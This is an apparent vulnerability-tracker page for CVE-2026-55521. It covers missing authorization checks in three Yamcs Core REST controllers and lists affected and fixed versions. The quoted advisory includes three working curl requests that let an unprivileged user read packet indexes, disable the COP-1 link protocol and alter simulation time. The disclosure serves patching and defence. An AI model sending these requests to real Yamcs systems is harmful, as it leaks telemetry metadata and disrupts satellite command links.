Answer in brief
CVE-2026-55521 records a High severity (CVSS 8.8) vulnerability in Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities. The current sources do not mark it as known exploited. The current feed maps org.yamcs:yamcs-core (maven), org.yamcs:yamcs-core (maven). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 8.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps org.yamcs:yamcs-core (maven), org.yamcs:yamcs-core (maven). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| org.yamcs:yamcs-coremaven | >=5.13.0,<=5.13.1 | 5.13.2 |
| org.yamcs:yamcs-coremaven | <=5.12.7 | 5.12.8 |
Published upstream
Aug 28, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Aug 28, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Aug 28, 2026
### Summary Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system. ### Details Yamcs utilizes a robust Role-Based Access Control (RBAC) model with `SystemPrivilege` and `ObjectPrivilege` to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic: 1. **`IndexesApi.java` (Information Disclosure):** Unlike `PacketsApi.java`, which filters results using `ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName)`, methods in `IndexesApi` (such as `listPacketIndex` and `listEventIndex`) directly retrieve and return archive records from the `CcsdsTmIndex` without verifying if the user has the required Object Privileges. 2. **`Cop1Api.java` (Denial of Service / Integrity):** Modifying the COP-1 telecommand protocol state is an administrative action requiring `SystemPrivilege.ControlLinks`. However, endpoints in `Cop1Api` (e.g., `disable`, `resume`, `initialize`, `updateConfig`) process link state alterations without calling `ctx.checkSystemPrivilege(...)`. 3. **`TimeApi.java` (Denial of Service / Integrity):** The `setTime` method allows modification of the global `SimulationTimeService` (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps. ### PoC **Prerequisite:** Obtain valid credentials for a completely unprivileged user (e.g., `user_without_priv:password` with no roles assigned). **PoC 1: Extracting Packet Indexes (`IndexesApi`)** ```bash curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \ -u "user_without_priv:password" ``` *Result:* Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata. **PoC 2: Disabling COP-1 Protocol (`Cop1Api`)** ```bash curl -s -X POST "http://localhost:8090/api/cop1/simulator/tc_sim:disable" \ -u "user_without_priv:password" \ -H "Content-Type: application/json" -d '{}' ``` *Result:* The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return `400 BadRequestException` confirming the link does not support COP-1. The absence of a `403 Forbidden` confirms the authorization bypass. **PoC 3: Manipulating Simulation Time (`TimeApi`)** ```bash curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \ -u "user_without_priv:password" \ -H "Content-Type: application/json" -d '{"speed": 10.0}' ``` *Result:* The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns `400 BadRequestException: Cannot set time for a non-simulation TimeService`. The absence of a `403 Forbidden` confirms the authorization bypass. ### Impact The vulnerability impacts instances of Yamcs exposing the REST API. * **Confidentiality:** Unprivileged users can enumerate all historical telemetry packet and event metadata. * **Integrity & Availability:** Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment. ### PoC Images: - Check user permission <img width="1218" height="951" alt="image" src="https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3" /> - Check admin permission and access API: <img width="1768" height="555" alt="image" src="https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab" /> - Check user no permission - get response same with user admin: <img width="1264" height="885" alt="image" src="https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4" /> <img width="1243" height="358" alt="image" src="https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4" />
Quoted source text, attributed separately from HOL analysis.